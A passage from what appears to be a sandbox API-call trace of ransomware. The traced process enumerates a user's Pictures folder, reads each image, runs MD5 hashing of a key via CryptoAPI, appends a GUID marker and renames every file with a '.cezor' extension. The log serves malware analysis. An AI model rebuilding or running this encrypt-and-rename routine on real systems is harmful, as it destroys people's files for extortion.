lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.465] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x16bbc, lpOverlapped=0x0) returned 1 [0060.466] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.466] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.466] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.466] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.466] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.466] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.466] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.467] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.467] GetLastError () returned 0x0 [0060.467] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.467] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.467] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16bbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.467] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.467] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.468] CloseHandle (hObject=0x5c4) returned 1 [0060.469] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MkdmiW2n2hm UFrse-.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mkdmiw2n2hm ufrse-.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MkdmiW2n2hm UFrse-.bmp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mkdmiw2n2hm ufrse-.bmp.cezor")) returned 1 [0060.470] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbe70670, ftCreationTime.dwHighDateTime=0x1d4c70b, ftLastAccessTime.dwLowDateTime=0x48211160, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0x48211160, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0x6069, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFMo70Ypi.jpg", cAlternateFileName="OFMO70~1.JPG")) returned 1 [0060.470] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OFMo70Ypi.jpg") returned=".jpg" [0060.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OFMo70Ypi.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ofmo70ypi.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.470] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=24681) returned 1 [0060.470] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.472] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6043, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.472] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.472] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x6069, lpOverlapped=0x0) returned 1 [0060.473] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.473] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.473] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.473] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.473] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.473] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.473] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.473] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.474] GetLastError () returned 0x0 [0060.474] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.474] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.474] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6069, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.474] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.474] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.474] CloseHandle (hObject=0x5c4) returned 1 [0060.475] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OFMo70Ypi.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ofmo70ypi.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OFMo70Ypi.jpg.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ofmo70ypi.jpg.cezor")) returned 1 [0060.476] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d5eda20, ftCreationTime.dwHighDateTime=0x1d4d0a0, ftLastAccessTime.dwLowDateTime=0x6a738f60, ftLastAccessTime.dwHighDateTime=0x1d4d4be, ftLastWriteTime.dwLowDateTime=0x6a738f60, ftLastWriteTime.dwHighDateTime=0x1d4d4be, nFileSizeHigh=0x0, nFileSizeLow=0xb66, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QoXfvFeQOhQIV.png", cAlternateFileName="QOXFVF~1.PNG")) returned 1 [0060.476] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QoXfvFeQOhQIV.png") returned=".png" [0060.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QoXfvFeQOhQIV.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qoxfvfeqohqiv.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.476] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=2918) returned 1 [0060.476] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.478] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.478] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.479] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xb66, lpOverlapped=0x0) returned 1 [0060.479] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.479] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.479] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.479] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.480] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.480] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.480] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.480] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.480] GetLastError () returned 0x0 [0060.480] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.480] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.488] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb66, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.488] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.488] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.488] CloseHandle (hObject=0x5c4) returned 1 [0060.489] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QoXfvFeQOhQIV.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qoxfvfeqohqiv.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QoXfvFeQOhQIV.png.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qoxfvfeqohqiv.png.cezor")) returned 1 [0060.491] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91af5900, ftCreationTime.dwHighDateTime=0x1d4c9f7, ftLastAccessTime.dwLowDateTime=0xfaf33db0, ftLastAccessTime.dwHighDateTime=0x1d4d40f, ftLastWriteTime.dwLowDateTime=0xfaf33db0, ftLastWriteTime.dwHighDateTime=0x1d4d40f, nFileSizeHigh=0x0, nFileSizeLow=0x6770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S4GQ2GGMfzy1DKUl.png", cAlternateFileName="S4GQ2G~1.PNG")) returned 1 [0060.491] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S4GQ2GGMfzy1DKUl.png") returned=".png" [0060.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S4GQ2GGMfzy1DKUl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s4gq2ggmfzy1dkul.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.492] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=26480) returned 1 [0060.492] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.493] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x674a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.493] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.494] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x6770, lpOverlapped=0x0) returned 1 [0060.494] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.494] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.494] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.494] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.496] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.496] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.496] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.496] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.496] GetLastError () returned 0x0 [0060.496] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.496] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.496] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.496] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.496] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.496] CloseHandle (hObject=0x5c4) returned 1 [0060.498] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S4GQ2GGMfzy1DKUl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s4gq2ggmfzy1dkul.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S4GQ2GGMfzy1DKUl.png.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s4gq2ggmfzy1dkul.png.cezor")) returned 1 [0060.499] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc970f2d0, ftCreationTime.dwHighDateTime=0x1d4d0ce, ftLastAccessTime.dwLowDateTime=0xa8b02110, ftLastAccessTime.dwHighDateTime=0x1d4d1c3, ftLastWriteTime.dwLowDateTime=0xa8b02110, ftLastWriteTime.dwHighDateTime=0x1d4d1c3, nFileSizeHigh=0x0, nFileSizeLow=0x297b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VyatE0vXWAqC0OxRt_.jpg", cAlternateFileName="VYATE0~1.JPG")) returned 1 [0060.499] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VyatE0vXWAqC0OxRt_.jpg") returned=".jpg" [0060.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VyatE0vXWAqC0OxRt_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vyate0vxwaqc0oxrt_.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.499] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=10619) returned 1 [0060.499] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.501] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2955, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.501] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.502] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x297b, lpOverlapped=0x0) returned 1 [0060.502] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.502] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.502] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.502] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.503] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.503] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.503] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.503] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.503] GetLastError () returned 0x0 [0060.503] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.503] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.503] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x297b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.503] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.503] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.503] CloseHandle (hObject=0x5c4) returned 1 [0060.504] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VyatE0vXWAqC0OxRt_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vyate0vxwaqc0oxrt_.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VyatE0vXWAqC0OxRt_.jpg.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vyate0vxwaqc0oxrt_.jpg.cezor")) returned 1 [0060.505] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x573a21a0, ftLastWriteTime.dwHighDateTime=0x1d4cf39, nFileSizeHigh=0x0, nFileSizeLow=0x16d31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif", cAlternateFileName="")) returned 1 [0060.505] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\y18suG.gif") returned=".gif" [0060.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\y18suG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\y18sug.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.505] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=93489) returned 1 [0060.505] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.507] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16d0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.507] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.508] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x16d31, lpOverlapped=0x0) returned 1 [0060.508] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.508] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.508] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.508] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.509] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.509] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.509] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.509] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.509] GetLastError () returned 0x0 [0060.509] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.509] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.510] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16d31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.510] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.510] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.510] CloseHandle (hObject=0x5c4) returned 1 [0060.511] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\y18suG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\y18sug.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\y18suG.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\y18sug.gif.cezor")) returned 1 [0060.512] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x573a21a0, ftLastWriteTime.dwHighDateTime=0x1d4cf39, nFileSizeHigh=0x0, nFileSizeLow=0x16d31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif", cAlternateFileName="")) returned 0 [0060.513] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.513] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.514] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: 